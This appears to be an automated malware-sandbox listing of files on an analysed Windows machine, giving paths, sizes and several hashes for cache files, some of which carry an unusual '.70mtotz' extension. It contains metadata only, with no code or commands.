T1DBD4D204B7E49B52F1720F30BDB6DA950A7FBC11EE06875B3361739E1C31648A926F26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{03BA58C4-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.70mtotz

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\{03BA58C4-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.70mtotz
Size 423KB
SHA256 017db64d06af3b6189c28d649ef3d62423593b28116396d8579797323c59786f
MD5 49816898216cd8c0eef5aca246eb1205
SHA1 04b05e120c5246465b9e3d83fcfb66b557f3a7c7
SHA512 c7ef47b57f8900ef27d94983aee134ddf9527b326dec043dda939652e6cbc9619365e5ee4f4adab90f7fc81708a75c70f03ccd78bd329456e12026dc1ddcf5a1
SSDEEP 6144:FMU6Ke+laNQAJneI167JkPh1y4+3VLkByLQzFcX:FMUle+RiMtGWrR4cX
TLSH
T1CE948322BF89CB12D5A61574C85AC01A2A3067C4BF85CF6B73EC413CE6576285FF9368
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001b.db.70mtotz

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001b.db.70mtotz
Size 90KB
SHA256 066f0f3835f7a30d36a2963fa9b466bf3cd3a4e9f535d44cc767819106d7a52c
MD5 aea194e9dd2c2d5f1ed13af11e2482f5
SHA1 e6cfbeae014f9bd23a901af51ea1b54ea1246e75
SHA512 29996fdc7f152e89a4e3da696fdcbc84d0cab07f854afac4dad8b1a3e4cf5182ff3791c9923147ebf8deda5e04de69088ba1e66318bc426960443e962264900c
SSDEEP 1536:vQ/utAzcvnb5fIRpzy03G3LQFjO68sFB60x/d7YTGb0QUcS1kIKosnL86TE:hWWlIRYf7QFjMsFB6spYTGccS1ksSL8z
TLSH
T10F9302A325C265B9CACE83CBB903972C21DCF762FB2693EB2100B6D739155D1ED2546C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000011.db.70mtotz

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000011.db.70mtotz
Size 64KB
SHA256 468609021778396f41c9b146decb1eec2befbcc409b2dc2e6591dc0be0a52f5b
MD5 4c283cbe108e8e1a516fe1af3c77b87a
SHA1 57c2d34a271d5bef3a1f6f8e4a4e0934d5b9db88
SHA512 ebc939173ac61a8bb0822a88b912c44b38ce56e074d39aeb48b708cee26eb237e6b6cd5844e8c8dc2b7d0494997b5a061d70ef0ce5176db5261149ecae5330d0
SSDEEP 1536:hQFRwGUgJOG2yl26uaGvuaUVavhEKXwsZjepC6VfTQGnI7rMZaJa5h:CRw7gJOe2DFUkXTAVf8GnEosJ4
TLSH
T17E5302A0181157C2222A743BA457E410DA122D5CB23CBD19777753FCBE2FE85AEB427D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

iconcache_32.db

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db
Size 1024KB
SHA256 af9e0c9bd84224ab72e63a88b8d6aee68166ea5224bd995fade6e7c512450b47
MD5 baa957795b43d635a4aec8695f97882c
SHA1 9d564fabb57a11c6c65f48bcb156faa75b4aa390
SHA512 39337bd05cc0d14f61ca46def3eb70228dea4023632e71166c9bf8f09938db22d76aecbdae6ea86562513a081012858423980a83890aabdf1bb5c620e238cbfc
SSDEEP 384:Fm3O1CCCCCCCwaFGmKgmqhxJmLokcdNd4amDrQTWGNIU:cO1CCCCCCCwaFHzhjmvcZGQTWjU
TLSH
T18A25A44B4646C13BE470677090AFABB291A21DBE766BDD7378E83D43B6B3381C113522
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

iconcache_48.db

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db
Size 1024KB
SHA256 5d58db9702f5b966f21a3acb980f6b2e50cc5a524afbed5be2ba8c8046aaac60
MD5 05f442efb054edec855ee77863c42ee5
SHA1 e2fbbb6cf861fa46f340f14c88fd3f844982e1c5
SHA512 415e1bf010ff074271dd5a374a01397ad9b4a6f7aaafd5842538c363a7090303bca0c26da57f8c3c83738a4cf2b1fe2972bb732e65ab0804c1a6c1558e0e2b5e
SSDEEP 192:aDQgVU1Bud//K1uwuyYaIlmaLwvL/zfWoYkG4rFyD4:KQgm1Bud//KeQvzzfWorx
TLSH
T190258C2677F22E78FDDCD9BA7B82D1761A137C7206C2011622DE779705608F8AAF152C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

iconcache_idx.db

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
Size 7KB
SHA256 42833ee211714076825d9642a7f6f5df059dbed3f853f907392c4b862aa77cde
MD5 4c1021cf0b51183b63b3b162f4e0de18
SHA1 db43333afd8364a2998720e484e5230006f2705b
SHA512 5ab754c20c85c9430c196db494ceef7062cc02b396d6f61a69c156732be5eeae792f299c710710909929927b155f82fd44601bf355741a2f646a68972fbb385b
SSDEEP 3:tnKlIlFnl95KP+mV8/HRZSRd//ZIQRJ/AaRd//4wPRC/Ld//:8lYzK2x/xZ0dXdJxdXDC/LdX
TLSH
T11CE148A33099CD02CC1D0D348EACE1E85A087F018D68024B708AF32F0BF30C00010014
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

iconcache_idx.db

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
Size 7KB
SHA256 131a0e6f38eba619927f99fdace8be2f6f4c4a36198ee0656568dbe19c99da7b
MD5 1c510e38096eac7db2950efc46373a8d
SHA1 579176ce603e780af2f65269d8eb40bd73304bd0
SHA512 42cc1607e3ffe240ddda8287da89614856b287845878b77bd5c0343af44e23f6677e2d19bdb23ea4f626cd4386781cde4a0099a237e8353120b9bbf1aea789ed
SSDEEP 12:mrM1a/E+SiLY/0tPDh/Drtyy3Lly4zMSw8fHoJ52mQT+ZtA0gzj:m7jY/0V9DrYsF+52N+ZCp
TLSH
T1C3E1445278AADA22CC2C6D349FDCD0EC96203F11CD58035738D4B36F1BF70C02914800
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbcache_48.db

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db
Size 24B
SHA256 d3c9d1ff7b54b653c6a1125cac49f52070338a2dd271817bba8853e99c0f33a9
MD5 ae6fbded57f9f7d048b95468ddee47ca
SHA1 c4473ea845be2fb5d28a61efd72f19d74d5fc82e
SHA512 f119d5ad9162f0f5d376e03a9ea15e30658780e18dd86e81812dda8ddf59addd1daa0706b2f5486df8f17429c2c60aa05d4f041a2082fd2ec6ea8cc9469fade3
MD5 SHA1 SHA512

Submit Download

thumbcache_idx.db

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db
Size 7KB
SHA256 9d677c2637f078506c3c976ffba7fc470afe1e11290585c8f724635c3b83aca4
MD5 f93824f8c9a583ffaba647a4a88ee2d6
SHA1 015fa41c2d1ead965e9dd1e8cd73c6f77936bc13
SHA512 d842462746d31b05ffcc7dc1152f34499d4359436c28c4e50df450bb8b38a00d4dcf5f11ac1bf74b2ee280c136fb9cb2bb957cdea914418d25af61c85de81103
SSDEEP 3:tnJlIlF:u
MD5 SHA1 SHA512 SSDEEP

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 e52cbc6b7db32862413f017d28c07ac7fa2c445958227cc9a5719db38cb27286
MD5 db06a60e00735fdb1ca8b5629430d59b
SHA1 497af780fc8610d658f7318c30e0bcb239f291e6
SHA512 446c480652a93fd2a651c77289c912f4251daf2cf58f4aab26c79edf3e34bc9de52f5f8b866eda76882a487a55399687d1c4953eabc351378e4f827170857e73
SSDEEP 1536:iKLge7Yo2hk3MTfKQ1PflJdpHYLh4iUxpR40i71YigMJyPTOdB4V3CNBQkj2Ra5c:iKLge7Yo2hk3MTfKQ1PflJd9YLqiUpRf
TLSH
T127636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download